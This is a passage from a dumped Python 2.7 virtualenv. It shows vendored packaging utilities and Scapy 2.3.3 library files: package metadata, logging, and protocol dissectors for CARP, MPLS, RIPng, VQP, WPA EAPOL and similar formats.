14 | if PY3:
15 | string_types = str,
16 | else:
17 | string_types = basestring,
18 |
19 |
20 | def with_metaclass(meta, *bases):
21 | """
22 | Create a base class with a metaclass.
23 | """
24 | # This requires a bit of explanation: the basic idea is to make a dummy
25 | # metaclass for one level of class instantiation that replaces itself with
26 | # the actual metaclass.
27 | class metaclass(meta):
28 | def __new__(cls, name, this_bases, d):
29 | return meta(name, bases, d)
30 | return type.__new__(metaclass, 'temporary_class', (), {})
31 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pkg_resources/_vendor/packaging/_structures.py:
--------------------------------------------------------------------------------
1 | # This file is dual licensed under the terms of the Apache License, Version
2 | # 2.0, and the BSD License. See the LICENSE file in the root of this repository
3 | # for complete details.
4 | from __future__ import absolute_import, division, print_function
5 |
6 |
7 | class Infinity(object):
8 |
9 | def __repr__(self):
10 | return "Infinity"
11 |
12 | def __hash__(self):
13 | return hash(repr(self))
14 |
15 | def __lt__(self, other):
16 | return False
17 |
18 | def __le__(self, other):
19 | return False
20 |
21 | def __eq__(self, other):
22 | return isinstance(other, self.__class__)
23 |
24 | def __ne__(self, other):
25 | return not isinstance(other, self.__class__)
26 |
27 | def __gt__(self, other):
28 | return True
29 |
30 | def __ge__(self, other):
31 | return True
32 |
33 | def __neg__(self):
34 | return NegativeInfinity
35 |
36 | Infinity = Infinity()
37 |
38 |
39 | class NegativeInfinity(object):
40 |
41 | def __repr__(self):
42 | return "-Infinity"
43 |
44 | def __hash__(self):
45 | return hash(repr(self))
46 |
47 | def __lt__(self, other):
48 | return True
49 |
50 | def __le__(self, other):
51 | return True
52 |
53 | def __eq__(self, other):
54 | return isinstance(other, self.__class__)
55 |
56 | def __ne__(self, other):
57 | return not isinstance(other, self.__class__)
58 |
59 | def __gt__(self, other):
60 | return False
61 |
62 | def __ge__(self, other):
63 | return False
64 |
65 | def __neg__(self):
66 | return Infinity
67 |
68 | NegativeInfinity = NegativeInfinity()
69 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pkg_resources/_vendor/packaging/utils.py:
--------------------------------------------------------------------------------
1 | # This file is dual licensed under the terms of the Apache License, Version
2 | # 2.0, and the BSD License. See the LICENSE file in the root of this repository
3 | # for complete details.
4 | from __future__ import absolute_import, division, print_function
5 |
6 | import re
7 |
8 |
9 | _canonicalize_regex = re.compile(r"[-_.]+")
10 |
11 |
12 | def canonicalize_name(name):
13 | # This is taken from PEP 503.
14 | return _canonicalize_regex.sub("-", name).lower()
15 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pkg_resources/py31compat.py:
--------------------------------------------------------------------------------
1 | import os
2 | import errno
3 | import sys
4 |
5 |
6 | def _makedirs_31(path, exist_ok=False):
7 | try:
8 | os.makedirs(path)
9 | except OSError as exc:
10 | if not exist_ok or exc.errno != errno.EEXIST:
11 | raise
12 |
13 |
14 | # rely on compatibility behavior until mode considerations
15 | # and exists_ok considerations are disentangled.
16 | # See https://github.com/pypa/setuptools/pull/1083#issuecomment-315168663
17 | needs_makedirs = (
18 | sys.version_info < (3, 2, 5) or
19 | (3, 3) <= sys.version_info < (3, 3, 6) or
20 | (3, 4) <= sys.version_info < (3, 4, 1)
21 | )
22 | makedirs = _makedirs_31 if needs_makedirs else os.makedirs
23 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/scapy-2.3.3.dist-info/DESCRIPTION.rst:
--------------------------------------------------------------------------------
1 | UNKNOWN
2 |
3 |
4 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/scapy-2.3.3.dist-info/INSTALLER:
--------------------------------------------------------------------------------
1 | pip
2 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/scapy-2.3.3.dist-info/METADATA:
--------------------------------------------------------------------------------
1 | Metadata-Version: 2.0
2 | Name: scapy
3 | Version: 2.3.3
4 | Summary: Scapy: interactive packet manipulation tool
5 | Home-page: http://www.secdev.org/projects/scapy
6 | Author: Philippe BIONDI
7 | Author-email: phil(at)secdev.org
8 | License: GPLv2
9 | Download-URL: https://github.com/secdev/scapy/tarball/master
10 | Description-Content-Type: UNKNOWN
11 | Keywords: network
12 | Platform: UNKNOWN
13 | Classifier: Development Status :: 5 - Production/Stable
14 | Classifier: Environment :: Console
15 | Classifier: Intended Audience :: Developers
16 | Classifier: Intended Audience :: Information Technology
17 | Classifier: Intended Audience :: Science/Research
18 | Classifier: Intended Audience :: System Administrators
19 | Classifier: Intended Audience :: Telecommunications Industry
20 | Classifier: License :: OSI Approved :: GNU General Public License v2 (GPLv2)
21 | Classifier: Programming Language :: Python :: 2
22 | Classifier: Programming Language :: Python :: 2.5
23 | Classifier: Programming Language :: Python :: 2.6
24 | Classifier: Programming Language :: Python :: 2.7
25 | Classifier: Topic :: Security
26 | Classifier: Topic :: System :: Networking
27 | Classifier: Topic :: System :: Networking :: Monitoring
28 |
29 | UNKNOWN
30 |
31 |
32 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/scapy-2.3.3.dist-info/WHEEL:
--------------------------------------------------------------------------------
1 | Wheel-Version: 1.0
2 | Generator: bdist_wheel (0.30.0)
3 | Root-Is-Purelib: true
4 | Tag: cp27-none-any
5 |
6 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/scapy-2.3.3.dist-info/metadata.json:
--------------------------------------------------------------------------------
1 | {"classifiers": ["Development Status :: 5 - Production/Stable", "Environment :: Console", "Intended Audience :: Developers", "Intended Audience :: Information Technology", "Intended Audience :: Science/Research", "Intended Audience :: System Administrators", "Intended Audience :: Telecommunications Industry", "License :: OSI Approved :: GNU General Public License v2 (GPLv2)", "Programming Language :: Python :: 2", "Programming Language :: Python :: 2.5", "Programming Language :: Python :: 2.6", "Programming Language :: Python :: 2.7", "Topic :: Security", "Topic :: System :: Networking", "Topic :: System :: Networking :: Monitoring"], "description_content_type": "UNKNOWN", "download_url": "https://github.com/secdev/scapy/tarball/master", "extensions": {"python.details": {"contacts": [{"email": "phil(at)secdev.org", "name": "Philippe BIONDI", "role": "author"}], "document_names": {"description": "DESCRIPTION.rst"}, "project_urls": {"Home": "http://www.secdev.org/projects/scapy"}}}, "generator": "bdist_wheel (0.30.0)", "keywords": ["network"], "license": "GPLv2", "metadata_version": "2.0", "name": "scapy", "summary": "Scapy: interactive packet manipulation tool", "version": "2.3.3"}
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/scapy-2.3.3.dist-info/top_level.txt:
--------------------------------------------------------------------------------
1 | scapy
2 | scapy/arch
3 | scapy/arch/windows
4 | scapy/asn1
5 | scapy/contrib
6 | scapy/layers
7 | scapy/layers/tls
8 | scapy/layers/tls/crypto
9 | scapy/modules
10 | scapy/tools
11 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/scapy/VERSION:
--------------------------------------------------------------------------------
1 | 2.3.3
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/scapy/all.py:
--------------------------------------------------------------------------------
1 | ## This file is part of Scapy
2 | ## See http://www.secdev.org/projects/scapy for more informations
3 | ## Copyright (C) Philippe Biondi
4 | ## This program is published under a GPLv2 license
5 |
6 | """
7 | Aggregate top level objects from all Scapy modules.
8 | """
9 |
10 | from scapy.base_classes import *
11 | from scapy.config import *
12 | from scapy.dadict import *
13 | from scapy.data import *
14 | from scapy.error import *
15 | from scapy.themes import *
16 | from scapy.arch import *
17 |
18 | from scapy.plist import *
19 | from scapy.fields import *
20 | from scapy.packet import *
21 | from scapy.asn1fields import *
22 | from scapy.asn1packet import *
23 |
24 | from scapy.utils import *
25 | from scapy.route import *
26 | if conf.ipv6_enabled:
27 | from scapy.utils6 import *
28 | from scapy.route6 import *
29 | from scapy.sendrecv import *
30 | from scapy.supersocket import *
31 | from scapy.volatile import *
32 | from scapy.as_resolvers import *
33 |
34 | from scapy.ansmachine import *
35 | from scapy.automaton import *
36 | from scapy.autorun import *
37 |
38 | from scapy.main import *
39 |
40 | from scapy.layers.all import *
41 |
42 | from scapy.asn1.asn1 import *
43 | from scapy.asn1.ber import *
44 | from scapy.asn1.mib import *
45 |
46 | from scapy.pipetool import *
47 | from scapy.scapypipes import *
48 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/scapy/arch/common.py:
--------------------------------------------------------------------------------
1 | ## This file is part of Scapy
2 | ## See http://www.secdev.org/projects/scapy for more informations
3 | ## Copyright (C) Philippe Biondi
4 | ## This program is published under a GPLv2 license
5 |
6 | """
7 | Functions common to different architectures
8 | """
9 |
10 | import socket
11 | from fcntl import ioctl
12 | import struct
13 |
14 |
15 | def get_if(iff, cmd):
16 | """Ease SIOCGIF* ioctl calls"""
17 |
18 | sck = socket.socket()
19 | ifreq = ioctl(sck, cmd, struct.pack("16s16x", iff))
20 | sck.close()
21 | return ifreq
22 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/scapy/arch/consts.py:
--------------------------------------------------------------------------------
1 | ## This file is part of Scapy
2 | ## See http://www.secdev.org/projects/scapy for more informations
3 | ## Copyright (C) Philippe Biondi
4 | ## This program is published under a GPLv2 license
5 |
6 | import os
7 | from sys import platform
8 |
9 | LINUX = platform.startswith("linux")
10 | OPENBSD = platform.startswith("openbsd")
11 | FREEBSD = "freebsd" in platform
12 | NETBSD = platform.startswith("netbsd")
13 | DARWIN = platform.startswith("darwin")
14 | SOLARIS = platform.startswith("sunos")
15 | WINDOWS = platform.startswith("win32")
16 | BSD = DARWIN or FREEBSD or OPENBSD or NETBSD
17 |
18 | if WINDOWS:
19 | X86_64 = False
20 | ARM_64 = False
21 | else:
22 | uname = os.uname()
23 | X86_64 = uname[4] == 'x86_64'
24 | ARM_64 = uname[4] == 'aarch64'
25 |
26 | LOOPBACK_NAME = "lo" if LINUX else "lo0"
27 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/scapy/arch/solaris.py:
--------------------------------------------------------------------------------
1 | ## This file is part of Scapy
2 | ## See http://www.secdev.org/projects/scapy for more informations
3 | ## Copyright (C) Philippe Biondi
4 | ## This program is published under a GPLv2 license
5 |
6 | """
7 | Customization for the Solaris operation system.
8 | """
9 |
10 | # IPPROTO_GRE is missing on Solaris
11 | import socket
12 | socket.IPPROTO_GRE = 47
13 |
14 | from scapy.arch.unix import *
15 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/scapy/asn1/__init__.py:
--------------------------------------------------------------------------------
1 | ## This file is part of Scapy
2 | ## See http://www.secdev.org/projects/scapy for more informations
3 | ## Copyright (C) Philippe Biondi
4 | ## This program is published under a GPLv2 license
5 |
6 | """
7 | Package holding ASN.1 related modules.
8 | """
9 |
10 | # We do not import mib.py because it is more bound to scapy and
11 | # less prone to be used in a standalone fashion
12 | __all__ = ["asn1","ber"]
13 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/scapy/asn1packet.py:
--------------------------------------------------------------------------------
1 | ## This file is part of Scapy
2 | ## See http://www.secdev.org/projects/scapy for more informations
3 | ## Copyright (C) Philippe Biondi
4 | ## This program is published under a GPLv2 license
5 |
6 | """
7 | Packet holding data in Abstract Syntax Notation (ASN.1).
8 | """
9 |
10 | from scapy.base_classes import Packet_metaclass
11 | from scapy.packet import Packet
12 |
13 | class ASN1Packet_metaclass(Packet_metaclass):
14 | def __new__(cls, name, bases, dct):
15 | if dct["ASN1_root"] is not None:
16 | dct["fields_desc"] = dct["ASN1_root"].get_fields_list()
17 | return super(ASN1Packet_metaclass, cls).__new__(cls, name, bases, dct)
18 |
19 | class ASN1_Packet(Packet):
20 | __metaclass__ = ASN1Packet_metaclass
21 | ASN1_root = None
22 | ASN1_codec = None
23 | def self_build(self):
24 | if self.raw_packet_cache is not None:
25 | return self.raw_packet_cache
26 | return self.ASN1_root.build(self)
27 | def do_dissect(self, x):
28 | return self.ASN1_root.dissect(self, x)
29 |
30 |
31 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/scapy/contrib/__init__.py:
--------------------------------------------------------------------------------
1 | ## This file is part of Scapy
2 | ## See http://www.secdev.org/projects/scapy for more informations
3 | ## Copyright (C) Philippe Biondi
4 | ## This program is published under a GPLv2 license
5 |
6 | """
7 | Package of contrib modules that have to be loaded explicitly.
8 | """
9 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/scapy/contrib/avs.py:
--------------------------------------------------------------------------------
1 | #! /usr/bin/env python
2 |
3 | # http://trac.secdev.org/scapy/ticket/82
4 |
5 | # scapy.contrib.description = AVS WLAN Monitor Header
6 | # scapy.contrib.status = loads
7 |
8 | from scapy.packet import *
9 | from scapy.fields import *
10 | from scapy.layers.dot11 import *
11 |
12 | AVSWLANPhyType = { 0 : "Unknown",
13 | 1 : "FHSS 802.11 '97",
14 | 2 : "DSSS 802.11 '97",
15 | 3 : "IR Baseband",
16 | 4 : "DSSS 802.11b",
17 | 5 : "PBCC 802.11b",
18 | 6 : "OFDM 802.11g",
19 | 7 : "PBCC 802.11g",
20 | 8 : "OFDM 802.11a" }
21 |
22 | AVSWLANEncodingType = { 0 : "Unknown",
23 | 1 : "CCK",
24 | 2 : "PBCC",
25 | 3 : "OFDM"}
26 |
27 | AVSWLANSSIType = { 0 : "None",
28 | 1 : "Normalized RSSI",
29 | 2 : "dBm",
30 | 3 : "Raw RSSI"}
31 |
32 | AVSWLANPreambleType = { 0 : "Unknown",
33 | 1 : "Short",
34 | 2 : "Long" }
35 |
36 |
37 | class AVSWLANHeader(Packet):
38 | """ iwpriv eth1 set_prismhdr 1 """
39 | name = "AVS WLAN Monitor Header"
40 | fields_desc = [ IntField("version",1),
41 | IntField("len",64),
42 | LongField("mactime",0),
43 | LongField("hosttime",0),
44 | IntEnumField("phytype",0, AVSWLANPhyType),
45 | IntField("channel",0),
46 | IntField("datarate",0),
47 | IntField("antenna",0),
48 | IntField("priority",0),
49 | IntEnumField("ssi_type",0, AVSWLANSSIType),
50 | SignedIntField("ssi_signal",0),
51 | SignedIntField("ssi_noise",0),
52 | IntEnumField("preamble",0, AVSWLANPreambleType),
53 | IntEnumField("encoding",0, AVSWLANEncodingType),
54 | ]
55 |
56 | bind_layers(AVSWLANHeader, Dot11)
57 |
58 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/scapy/contrib/carp.py:
--------------------------------------------------------------------------------
1 |
2 | # scapy.contrib.description = CARP
3 | # scapy.contrib.status = loads
4 |
5 | import struct, hmac, hashlib
6 |
7 | from scapy.packet import *
8 | from scapy.layers.inet import IP
9 | from scapy.fields import BitField, ByteField, XShortField, IntField, XIntField
10 | from scapy.utils import checksum, inet_aton
11 |
12 | class CARP(Packet):
13 | name = "CARP"
14 | fields_desc = [ BitField("version", 4, 4),
15 | BitField("type", 4, 4),
16 | ByteField("vhid", 1),
17 | ByteField("advskew", 0),
18 | ByteField("authlen", 0),
19 | ByteField("demotion", 0),
20 | ByteField("advbase", 0),
21 | XShortField("chksum", 0),
22 | XIntField("counter1", 0),
23 | XIntField("counter2", 0),
24 | XIntField("hmac1", 0),
25 | XIntField("hmac2", 0),
26 | XIntField("hmac3", 0),
27 | XIntField("hmac4", 0),
28 | XIntField("hmac5", 0)
29 | ]
30 |
31 | def post_build(self, pkt, pay):
32 | if self.chksum == None:
33 | pkt = pkt[:6] + struct.pack("!H", checksum(pkt)) + pkt[8:]
34 |
35 | return pkt
36 |
37 | def build_hmac_sha1(pkt, pw = '\0' * 20, ip4l=None, ip6l=None):
38 | if ip4l is None:
39 | ip4l = []
40 | if ip6l is None:
41 | ip6l = []
42 | if not pkt.haslayer(CARP):
43 | return None
44 |
45 | p = pkt[CARP]
46 | h = hmac.new(pw, digestmod = hashlib.sha1)
47 | # XXX: this is a dirty hack. it needs to pack version and type into a single 8bit field
48 | h.update('\x21')
49 | # XXX: mac addy if different from special link layer. comes before vhid
50 | h.update(struct.pack('!B', p.vhid))
51 |
52 | sl = []
53 | for i in ip4l:
54 | # sort ips from smallest to largest
55 | sl.append(inet_aton(i))
56 | sl.sort()
57 |
58 | for i in sl:
59 | h.update(i)
60 |
61 | # XXX: do ip6l sorting
62 |
63 | return h.digest()
64 |
65 | """
66 | XXX: Usually CARP is multicast to 224.0.0.18 but because of virtual setup, it'll
67 | be unicast between nodes. Uncomment the following line for normal use
68 | bind_layers(IP, CARP, proto=112, dst='224.0.0.18')
69 | """
70 | bind_layers(IP, CARP, proto=112)
71 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/scapy/contrib/chdlc.py:
--------------------------------------------------------------------------------
1 | # http://trac.secdev.org/scapy/ticket/88
2 |
3 | # scapy.contrib.description = Cisco HDLC and SLARP
4 | # scapy.contrib.status = loads
5 |
6 | # This layer is based on information from http://www.nethelp.no/net/cisco-hdlc.txt
7 |
8 | from scapy.packet import *
9 | from scapy.fields import *
10 | from scapy.layers.l2 import *
11 | from scapy.layers.inet import *
12 | from scapy.layers.inet6 import *
13 |
14 | class CHDLC(Packet):
15 | name = "Cisco HDLC"
16 | fields_desc = [ ByteEnumField("address", 0x0f, {0x0f : "unicast", 0x8f :"multicast"}),
17 | ByteField("control", 0),
18 | XShortField("proto", 0x0800)]
19 |
20 | class SLARP(Packet):
21 | name = "SLARP"
22 | fields_desc = [ IntEnumField("type", 2, {0 : "request", 1 : "reply", 2 :"line keepalive"}),
23 | ConditionalField(IPField("address", "192.168.0.1"),
24 | lambda pkt : pkt.type == 0 or pkt.type == 1),
25 | ConditionalField(IPField("mask", "255.255.255.0"),
26 | lambda pkt : pkt.type == 0 or pkt.type == 1),
27 | ConditionalField(XShortField("unused", 0),
28 | lambda pkt : pkt.type == 0 or pkt.type == 1),
29 | ConditionalField(IntField("mysequence", 0),
30 | lambda pkt : pkt.type == 2),
31 | ConditionalField(IntField("yoursequence", 0),
32 | lambda pkt : pkt.type == 2),
33 | ConditionalField(XShortField("reliability", 0xffff),
34 | lambda pkt : pkt.type == 2)]
35 |
36 | bind_layers( CHDLC, Dot3, proto=0x6558)
37 | bind_layers( CHDLC, IP, proto=0x800)
38 | bind_layers( CHDLC, IPv6, proto=0x86dd)
39 | bind_layers( CHDLC, SLARP, proto=0x8035)
40 | bind_layers( CHDLC, STP, proto=0x4242)
41 |
42 | conf.l2types.register(104, CHDLC)
43 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/scapy/contrib/etherip.py:
--------------------------------------------------------------------------------
1 |
2 | # http://trac.secdev.org/scapy/ticket/297
3 |
4 | # scapy.contrib.description = EtherIP
5 | # scapy.contrib.status = loads
6 |
7 | from scapy.fields import BitField
8 | from scapy.packet import Packet, bind_layers
9 | from scapy.layers.inet import IP
10 | from scapy.layers.l2 import Ether
11 |
12 | class EtherIP(Packet):
13 | name = "EtherIP / RFC 3378"
14 | fields_desc = [ BitField("version", 3, 4),
15 | BitField("reserved", 0, 12)]
16 |
17 | bind_layers( IP, EtherIP, frag=0, proto=0x61)
18 | bind_layers( EtherIP, Ether)
19 |
20 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/scapy/contrib/mpls.py:
--------------------------------------------------------------------------------
1 | # http://trac.secdev.org/scapy/ticket/31
2 |
3 | # scapy.contrib.description = MPLS
4 | # scapy.contrib.status = loads
5 |
6 | from scapy.packet import Packet, bind_layers, Padding
7 | from scapy.fields import BitField,ByteField
8 | from scapy.layers.inet import IP
9 | from scapy.layers.inet6 import IPv6
10 | from scapy.layers.l2 import Ether, GRE
11 |
12 | class MPLS(Packet):
13 | name = "MPLS"
14 | fields_desc = [ BitField("label", 3, 20),
15 | BitField("cos", 0, 3),
16 | BitField("s", 1, 1),
17 | ByteField("ttl", 0) ]
18 |
19 | def guess_payload_class(self, payload):
20 | if len(payload) >= 1:
21 | ip_version = (ord(payload[0]) >> 4) & 0xF
22 | if ip_version == 4:
23 | return IP
24 | elif ip_version == 6:
25 | return IPv6
26 | return Padding
27 |
28 | bind_layers(Ether, MPLS, type=0x8847)
29 | bind_layers(GRE, MPLS, proto=0x8847)
30 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/scapy/contrib/ripng.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 | # http://trac.secdev.org/scapy/ticket/301
4 |
5 | # scapy.contrib.description = RIPng
6 | # scapy.contrib.status = loads
7 |
8 | from scapy.packet import *
9 | from scapy.fields import *
10 | from scapy.layers.inet import UDP
11 | from scapy.layers.inet6 import *
12 |
13 | class RIPng(Packet):
14 | name = "RIPng header"
15 | fields_desc = [
16 | ByteEnumField("cmd", 1, {1 : "req", 2 : "resp"}),
17 | ByteField("ver", 1),
18 | ShortField("null", 0),
19 | ]
20 |
21 | class RIPngEntry(Packet):
22 | name = "RIPng entry"
23 | fields_desc = [
24 | ConditionalField(IP6Field("prefix", "::"),
25 | lambda pkt: pkt.metric != 255),
26 | ConditionalField(IP6Field("nexthop", "::"),
27 | lambda pkt: pkt.metric == 255),
28 | ShortField("routetag", 0),
29 | ByteField("prefixlen", 0),
30 | ByteEnumField("metric", 1, {16 : "Unreach",
31 | 255 : "next-hop entry"})
32 | ]
33 |
34 | bind_layers(UDP, RIPng, sport=521, dport=521)
35 | bind_layers(RIPng, RIPngEntry)
36 | bind_layers(RIPngEntry, RIPngEntry)
37 |
38 | if __name__ == "__main__":
39 | from scapy.main import interact
40 | interact(mydict=globals(), mybanner="RIPng")
41 |
42 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/scapy/contrib/spbm.py:
--------------------------------------------------------------------------------
1 | # IEEE 802.1aq - Shorest Path Bridging Mac-in-mac (SPBM):
2 | # Ethernet based link state protocol that enables Layer 2 Unicast, Layer 2 Multicast, Layer 3 Unicast, and Layer 3 Multicast virtualized services
3 | # https://en.wikipedia.org/wiki/IEEE_802.1aq
4 | # Modeled after the scapy VXLAN contribution
5 | #
6 | #############################################################
7 | # Example SPB Frame Creation
8 | #
9 | # Note the outer Dot1Q Ethertype marking (0x88e7)
10 | #############################################################
11 | # backboneEther = Ether(dst='00:bb:00:00:90:00', src='00:bb:00:00:40:00', type=0x8100)
12 | # backboneDot1Q = Dot1Q(vlan=4051,type=0x88e7)
13 | # backboneServiceID = SPBM(prio=1,isid=20011)
14 | # customerEther = Ether(dst='00:1b:4f:5e:ca:00',src='00:00:00:00:00:01',type=0x8100)
15 | # customerDot1Q = Dot1Q(prio=1,vlan=11,type=0x0800)
16 | # customerIP = IP(src='10.100.11.10',dst='10.100.12.10',id=0x0629,len=106)
17 | # customerUDP = UDP(sport=1024,dport=1025,chksum=0,len=86)
18 | #
19 | # spb_example = backboneEther/backboneDot1Q/backboneServiceID/customerEther/customerDot1Q/customerIP/customerUDP/"Payload"
20 |
21 | from scapy.packet import Packet, bind_layers
22 | from scapy.fields import *
23 | from scapy.layers.l2 import Ether, Dot1Q
24 |
25 | class SPBM(Packet):
26 | name = "SPBM"
27 | fields_desc = [ BitField("prio", 0, 3),
28 | BitField("dei", 0, 1),
29 | BitField("nca", 0, 1),
30 | BitField("res1", 0, 1),
31 | BitField("res2", 0, 2),
32 | ThreeBytesField("isid", 0)]
33 |
34 | def mysummary(self):
35 | return self.sprintf("SPBM (isid=%SPBM.isid%")
36 |
37 | bind_layers(Dot1Q, SPBM, type=0x88e7)
38 | bind_layers(SPBM, Ether)
39 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/scapy/contrib/vqp.py:
--------------------------------------------------------------------------------
1 |
2 | # http://trac.secdev.org/scapy/ticket/147
3 |
4 | # scapy.contrib.description = VLAN Query Protocol
5 | # scapy.contrib.status = loads
6 |
7 | from scapy.packet import *
8 | from scapy.fields import *
9 | from scapy.layers.inet import UDP
10 |
11 | class VQP(Packet):
12 | name = "VQP"
13 | fields_desc = [
14 | ByteField("const", 1),
15 | ByteEnumField("type", 1, {
16 | 1:"requestPort", 2:"responseVLAN",
17 | 3:"requestReconfirm", 4:"responseReconfirm"
18 | }),
19 | ByteEnumField("errorcodeaction", 0, {
20 | 0:"none",3:"accessDenied",
21 | 4:"shutdownPort", 5:"wrongDomain"
22 | }),
23 | ByteEnumField("unknown", 2, {
24 | 2:"inGoodResponse", 6:"inRequests"
25 | }),
26 | IntField("seq",0),
27 | ]
28 |
29 | class VQPEntry(Packet):
30 | name = "VQPEntry"
31 | fields_desc = [
32 | IntEnumField("datatype", 0, {
33 | 3073:"clientIPAddress", 3074:"portName",
34 | 3075:"VLANName", 3076:"Domain", 3077:"ethernetPacket",
35 | 3078:"ReqMACAddress", 3079:"unknown",
36 | 3080:"ResMACAddress"
37 | }),
38 | FieldLenField("len", None),
39 | ConditionalField(IPField("datatom", "0.0.0.0"),
40 | lambda p:p.datatype==3073),
41 | ConditionalField(MACField("data", "00:00:00:00:00:00"),
42 | lambda p:p.datatype==3078),
43 | ConditionalField(MACField("data", "00:00:00:00:00:00"),
44 | lambda p:p.datatype==3080),
45 | ConditionalField(StrLenField("data", None,
46 | length_from=lambda p:p.len),
47 | lambda p:p.datatype not in [3073, 3078, 3080]),
48 | ]
49 | def post_build(self, p, pay):
50 | if self.len is None:
51 | l = len(p.data)
52 | p = p[:2]+struct.pack("!H",l)+p[4:]
53 | return p
54 |
55 | bind_layers(UDP, VQP, sport=1589)
56 | bind_layers(UDP, VQP, dport=1589)
57 | bind_layers(VQP, VQPEntry, )
58 | bind_layers(VQPEntry, VQPEntry, )
59 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/scapy/contrib/wpa_eapol.py:
--------------------------------------------------------------------------------
1 |
2 | # http://trac.secdev.org/scapy/ticket/104
3 |
4 | # scapy.contrib.description = WPA EAPOL dissector
5 | # scapy.contrib.status = loads
6 |
7 | from scapy.packet import *
8 | from scapy.fields import *
9 | from scapy.layers.l2 import *
10 |
11 | class WPA_key(Packet):
12 | name = "WPA_key"
13 | fields_desc = [ ByteField("descriptor_type", 1),
14 | ShortField("key_info",0),
15 | LenField("len", None, "H"),
16 | StrFixedLenField("replay_counter", "", 8),
17 | StrFixedLenField("nonce", "", 32),
18 | StrFixedLenField("key_iv", "", 16),
19 | StrFixedLenField("wpa_key_rsc", "", 8),
20 | StrFixedLenField("wpa_key_id", "", 8),
21 | StrFixedLenField("wpa_key_mic", "", 16),
22 | LenField("wpa_key_length", None, "H"),
23 | StrLenField("wpa_key", "", length_from=lambda pkt:pkt.wpa_key_length) ]
24 | def extract_padding(self, s):
25 | l = self.len
26 | return s[:l],s[l:]
27 | def hashret(self):
28 | return chr(self.type)+self.payload.hashret()
29 | def answers(self, other):
30 | if isinstance(other,WPA_key):
31 | return 1
32 | return 0
33 |
34 |
35 | bind_layers( EAPOL, WPA_key, type=3)
36 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/scapy/error.py:
--------------------------------------------------------------------------------
1 | ## This file is part of Scapy
2 | ## See http://www.secdev.org/projects/scapy for more informations
3 | ## Copyright (C) Philippe Biondi
4 | ## This program is published under a GPLv2 license
5 |
6 | """
7 | Logging subsystem and basic exception class.
8 | """
9 |
10 | #############################
11 | ##### Logging subsystem #####
12 | #############################
13 |
14 | class Scapy_Exception(Exception):
15 | pass
16 |
17 | import logging,traceback,time
18 |
19 | class ScapyFreqFilter(logging.Filter):
20 | def __init__(self):
21 | logging.Filter.__init__(self)
22 | self.warning_table = {}
23 | def filter(self, record):
24 | from scapy.config import conf
25 | wt = conf.warning_threshold
26 | if wt > 0:
27 | stk = traceback.extract_stack()
28 | caller=None
29 | for f,l,n,c in stk:
30 | if n == 'warning':
31 | break
32 | caller = l
33 | tm,nb = self.warning_table.get(caller, (0,0))
34 | ltm = time.time()
35 | if ltm-tm > wt:
36 | tm = ltm
37 | nb = 0
38 | else:
39 | if nb < 2:
40 | nb += 1
41 | if nb == 2:
42 | record.msg = "more "+record.msg
43 | else:
44 | return 0
45 | self.warning_table[caller] = (tm,nb)
46 | return 1
47 |
48 | try:
49 | from logging import NullHandler
50 | except ImportError:
51 | # compat for python 2.6
52 | from logging import Handler
53 | class NullHandler(Handler):
54 | def emit(self, record):
55 | pass
56 | log_scapy = logging.getLogger("scapy")
57 | log_scapy.addHandler(NullHandler())
58 | log_runtime = logging.getLogger("scapy.runtime") # logs at runtime
59 | log_runtime.addFilter(ScapyFreqFilter())
60 | log_interactive = logging.getLogger("scapy.interactive") # logs in interactive functions
61 | log_loading = logging.getLogger("scapy.loading") # logs when loading scapy
62 |
63 |
64 | def warning(x):
65 | log_runtime.warning(x)
66 |
67 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/scapy/layers/__init__.py:
--------------------------------------------------------------------------------
1 | ## This file is part of Scapy
2 | ## See http://www.secdev.org/projects/scapy for more informations
3 | ## Copyright (C) Philippe Biondi
4 | ## This program is published under a GPLv2 license
5 |
6 | """
7 | Layer package.
8 | """
9 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/scapy/layers/all.py:
--------------------------------------------------------------------------------
1 | ## This file is part of Scapy
2 | ## See http://www.secdev.org/projects/scapy for more informations
3 | ## Copyright (C) Philippe Biondi
4 | ## This program is published under a GPLv2 license
5 |
6 | """
7 | All layers. Configurable with conf.load_layers.
8 | """
9 |
10 | from scapy.config import conf
11 | from scapy.error import log_loading
12 | import logging
13 | log = logging.getLogger("scapy.loading")
14 |
15 | __all__ = []
16 |
17 | def _import_star(m):
18 | mod = __import__(m, globals(), locals())
19 | if '__all__' in mod.__dict__:
20 | # only import the exported symbols in __all__
21 | for name in mod.__dict__['__all__']:
22 | __all__.append(name)
23 | globals()[name] = mod.__dict__[name]
24 | else:
25 | # import all the non-private symbols
26 | for name, sym in mod.__dict__.iteritems():
27 | if name[0] != '_':
28 | __all__.append(name)
29 | globals()[name] = sym
30 |
31 | for _l in conf.load_layers:
32 | log_loading.debug("Loading layer %s" % _l)
33 | try:
